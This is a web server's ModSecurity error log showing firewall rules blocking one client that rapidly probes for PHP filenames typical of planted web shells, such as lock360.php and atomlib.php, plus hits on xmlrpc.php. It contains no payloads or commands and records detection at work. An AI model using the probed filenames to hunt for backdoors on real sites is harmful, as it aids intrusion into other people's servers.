[Wed Nov 19 04:41:33.928539 2025] [:error] [pid 6644:tid 6647] [client 89.233.105.203:54742] [client 89.233.105.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.233.105.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRzZ_U0i6Rf788MB6saUTQAAAME"]
[Wed Nov 19 05:29:08.331447 2025] [:error] [pid 6644:tid 6654] [client 50.87.249.50:18490] [client 50.87.249.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.87.249.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRzlJE0i6Rf788MB6salLAAAAMg"]
[Wed Nov 19 06:08:02.285492 2025] [:error] [pid 6919:tid 6933] [client 48.210.231.218:35801] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aRzuQkYFdN1s_9xJVUl9iAAAAQs"]
[Wed Nov 19 06:08:04.362604 2025] [:error] [pid 6556:tid 6642] [client 48.210.231.218:35836] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aRzuRJuL7hhgrmdM1mta_QAAAJg"]
[Wed Nov 19 06:08:05.383270 2025] [:error] [pid 6644:tid 6655] [client 48.210.231.218:35780] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aRzuRU0i6Rf788MB6sa2JgAAAMk"]
[Wed Nov 19 06:08:06.606990 2025] [:error] [pid 6555:tid 6593] [client 48.210.231.218:35821] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aRzuRkbVJm8eMsGMTCNvtwAAAEI"]
[Wed Nov 19 06:08:12.441035 2025] [:error] [pid 6555:tid 6613] [client 48.210.231.218:35728] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aRzuTEbVJm8eMsGMTCNvvgAAAFY"]
[Wed Nov 19 06:08:15.708635 2025] [:error] [pid 6555:tid 6607] [client 48.210.231.218:35798] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aRzuT0bVJm8eMsGMTCNvwAAAAFA"]
[Wed Nov 19 06:08:17.475066 2025] [:error] [pid 6919:tid 6923] [client 48.210.231.218:35827] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aRzuUUYFdN1s_9xJVUl9qQAAAQE"]
[Wed Nov 19 06:08:19.367146 2025] [:error] [pid 6644:tid 6668] [client 48.210.231.218:35731] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aRzuU00i6Rf788MB6sa2OwAAANY"]
[Wed Nov 19 06:08:21.352363 2025] [:error] [pid 6555:tid 6597] [client 48.210.231.218:35726] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aRzuVUbVJm8eMsGMTCNvyAAAAEY"]
[Wed Nov 19 06:08:22.450266 2025] [:error] [pid 6644:tid 6647] [client 48.210.231.218:35817] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aRzuVk0i6Rf788MB6sa2PgAAAME"]
[Wed Nov 19 06:08:23.560464 2025] [:error] [pid 6556:tid 6625] [client 48.210.231.218:35804] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aRzuV5uL7hhgrmdM1mtbHwAAAIc"]
[Wed Nov 19 06:08:24.252624 2025] [:error] [pid 6919:tid 6926] [client 48.210.231.218:35782] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aRzuWEYFdN1s_9xJVUl9tQAAAQQ"]
[Wed Nov 19 06:08:24.872439 2025] [:error] [pid 6919:tid 6944] [client 48.210.231.218:35834] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aRzuWEYFdN1s_9xJVUl9tgAAARY"]
[Wed Nov 19 06:08:26.221481 2025] [:error] [pid 6644:tid 6668] [client 48.210.231.218:35799] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aRzuWk0i6Rf788MB6sa2QgAAANY"]
[Wed Nov 19 06:08:28.156974 2025] [:error] [pid 6554:tid 6562] [client 48.210.231.218:35776] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aRzuXN8rvPWLafJFqmU6KgAAAAM"]
[Wed Nov 19 06:08:29.402458 2025] [:error] [pid 6644:tid 6654] [client 48.210.231.218:35831] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "aRzuXU0i6Rf788MB6sa2TAAAAMg"]
[Wed Nov 19 06:08:30.409103 2025] [:error] [pid 6554:tid 6566] [client 48.210.231.218:35721] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aRzuXt8rvPWLafJFqmU6KwAAAAc"]
[Wed Nov 19 06:08:32.473159 2025] [:error] [pid 6556:tid 6630] [client 48.210.231.218:35824] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aRzuYJuL7hhgrmdM1mtbOwAAAIw"]
[Wed Nov 19 06:08:33.222056 2025] [:error] [pid 6555:tid 6597] [client 48.210.231.218:35785] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aRzuYUbVJm8eMsGMTCNv2wAAAEY"]
[Wed Nov 19 06:08:35.311386 2025] [:error] [pid 6555:tid 6600] [client 48.210.231.218:35723] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file17.php"] [unique_id "aRzuY0bVJm8eMsGMTCNv3QAAAEk"]
[Wed Nov 19 06:08:36.288221 2025] [:error] [pid 6554:tid 6576] [client 48.210.231.218:35718] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aRzuZN8rvPWLafJFqmU6LwAAABA"]
[Wed Nov 19 06:08:36.886115 2025] [:error] [pid 6644:tid 6666] [client 48.210.231.218:35725] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aRzuZE0i6Rf788MB6sa2XgAAANQ"]
[Wed Nov 19 06:08:38.574724 2025] [:error] [pid 6919:tid 6939] [client 48.210.231.218:35802] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aRzuZkYFdN1s_9xJVUl9yAAAARE"]
[Wed Nov 19 06:08:39.399185 2025] [:error] [pid 6919:tid 6930] [client 48.210.231.218:35828] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aRzuZ0YFdN1s_9xJVUl9yQAAAQg"]
[Wed Nov 19 06:08:40.277775 2025] [:error] [pid 6554:tid 6571] [client 48.210.231.218:35796] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "aRzuaN8rvPWLafJFqmU6NQAAAAs"]
[Wed Nov 19 06:08:41.642411 2025] [:error] [pid 6555:tid 6609] [client 48.210.231.218:35797] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "aRzuaUbVJm8eMsGMTCNv5gAAAFI"]
[Wed Nov 19 06:08:42.684531 2025] [:error] [pid 6919:tid 6939] [client 48.210.231.218:35809] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "aRzuakYFdN1s_9xJVUl90wAAARE"]
[Wed Nov 19 06:08:43.186625 2025] [:error] [pid 6644:tid 6649] [client 48.210.231.218:35778] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filesss.php"] [unique_id "aRzua00i6Rf788MB6sa2YgAAAMM"]
[Wed Nov 19 06:08:44.944300 2025] [:error] [pid 6919:tid 6944] [client 48.210.231.218:35743] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aRzubEYFdN1s_9xJVUl92gAAARY"]
[Wed Nov 19 06:08:46.295366 2025] [:error] [pid 6555:tid 6595] [client 48.210.231.218:35730] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aRzubkbVJm8eMsGMTCNv7gAAAEQ"]
[Wed Nov 19 06:08:46.931142 2025] [:error] [pid 6555:tid 6599] [client 48.210.231.218:35788] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aRzubkbVJm8eMsGMTCNv7wAAAEg"]
[Wed Nov 19 06:08:47.539050 2025] [:error] [pid 6555:tid 6594] [client 48.210.231.218:35806] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aRzub0bVJm8eMsGMTCNv8gAAAEM"]
[Wed Nov 19 06:08:48.468497 2025] [:error] [pid 6919:tid 6925] [client 48.210.231.218:35732] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file13.php"] [unique_id "aRzucEYFdN1s_9xJVUl94AAAAQM"]
[Wed Nov 19 06:08:49.690097 2025] [:error] [pid 6919:tid 6933] [client 48.210.231.218:35800] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file13.php"] [unique_id "aRzucUYFdN1s_9xJVUl95QAAAQs"]
[Wed Nov 19 06:08:50.262587 2025] [:error] [pid 6919:tid 6939] [client 48.210.231.218:35812] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file13.php"] [unique_id "aRzuckYFdN1s_9xJVUl95gAAARE"]
[Wed Nov 19 06:08:51.204144 2025] [:error] [pid 6556:tid 6628] [client 48.210.231.218:35714] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file13.php"] [unique_id "aRzuc5uL7hhgrmdM1mtbWgAAAIo"]
[Wed Nov 19 06:08:52.154339 2025] [:error] [pid 6554:tid 6574] [client 48.210.231.218:35657] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aRzudN8rvPWLafJFqmU6PwAAAA4"]
[Wed Nov 19 06:08:53.043271 2025] [:error] [pid 6555:tid 6614] [client 48.210.231.218:35750] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aRzudUbVJm8eMsGMTCNv_QAAAFc"]
[Wed Nov 19 06:08:54.750595 2025] [:error] [pid 6554:tid 6566] [client 48.210.231.218:35698] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aRzudt8rvPWLafJFqmU6QQAAAAc"]
[Wed Nov 19 06:08:55.590790 2025] [:error] [pid 6644:tid 6658] [client 48.210.231.218:35784] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aRzud00i6Rf788MB6sa2eAAAAMw"]
[Wed Nov 19 06:08:56.328940 2025] [:error] [pid 6919:tid 6937] [client 48.210.231.218:35825] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aRzueEYFdN1s_9xJVUl97wAAAQ8"]
[Wed Nov 19 06:08:57.499108 2025] [:error] [pid 6555:tid 6610] [client 48.210.231.218:35835] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aRzueUbVJm8eMsGMTCNwAwAAAFM"]
[Wed Nov 19 06:08:58.727262 2025] [:error] [pid 6644:tid 6664] [client 48.210.231.218:35748] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aRzuek0i6Rf788MB6sa2fAAAANI"]
[Wed Nov 19 06:09:18.795174 2025] [:error] [pid 6556:tid 6631] [client 48.210.231.218:35752] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "aRzujpuL7hhgrmdM1mtbrAAAAI0"]
[Wed Nov 19 06:09:24.121634 2025] [:error] [pid 6644:tid 6656] [client 48.210.231.218:35768] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "aRzulE0i6Rf788MB6sa2oAAAAMo"]
[Wed Nov 19 06:09:25.653565 2025] [:error] [pid 6554:tid 6577] [client 48.210.231.218:35703] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "aRzuld8rvPWLafJFqmU6bAAAABE"]
[Wed Nov 19 06:09:28.118643 2025] [:error] [pid 6919:tid 6926] [client 48.210.231.218:35808] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "aRzumEYFdN1s_9xJVUl-FwAAAQQ"]
[Wed Nov 19 06:09:30.168099 2025] [:error] [pid 6644:tid 6670] [client 48.210.231.218:35742] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0%25.php"] [unique_id "aRzumk0i6Rf788MB6sa2rQAAANg"]
[Wed Nov 19 06:09:33.400497 2025] [:error] [pid 6556:tid 6642] [client 48.210.231.218:35652] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0%25.php"] [unique_id "aRzunZuL7hhgrmdM1mtbxgAAAJg"]
[Wed Nov 19 06:09:35.457793 2025] [:error] [pid 6644:tid 6651] [client 48.210.231.218:35756] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0%25.php"] [unique_id "aRzun00i6Rf788MB6sa2twAAAMU"]
[Wed Nov 19 06:09:37.783868 2025] [:error] [pid 6556:tid 6639] [client 48.210.231.218:35816] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0%25.php"] [unique_id "aRzuoZuL7hhgrmdM1mtbzQAAAJU"]
[Wed Nov 19 06:09:41.147828 2025] [:error] [pid 6555:tid 6610] [client 48.210.231.218:35738] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRzupUbVJm8eMsGMTCNwQQAAAFM"]
[Wed Nov 19 06:09:42.533319 2025] [:error] [pid 6554:tid 6573] [client 48.210.231.218:35791] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRzupt8rvPWLafJFqmU6jwAAAA0"]
[Wed Nov 19 06:09:44.249321 2025] [:error] [pid 6919:tid 6945] [client 48.210.231.218:35838] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRzuqEYFdN1s_9xJVUl-QwAAARc"]
[Wed Nov 19 06:09:46.303144 2025] [:error] [pid 6919:tid 6942] [client 48.210.231.218:35739] [client 48.210.231.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aRzuqkYFdN1s_9xJVUl-RwAAARQ"]
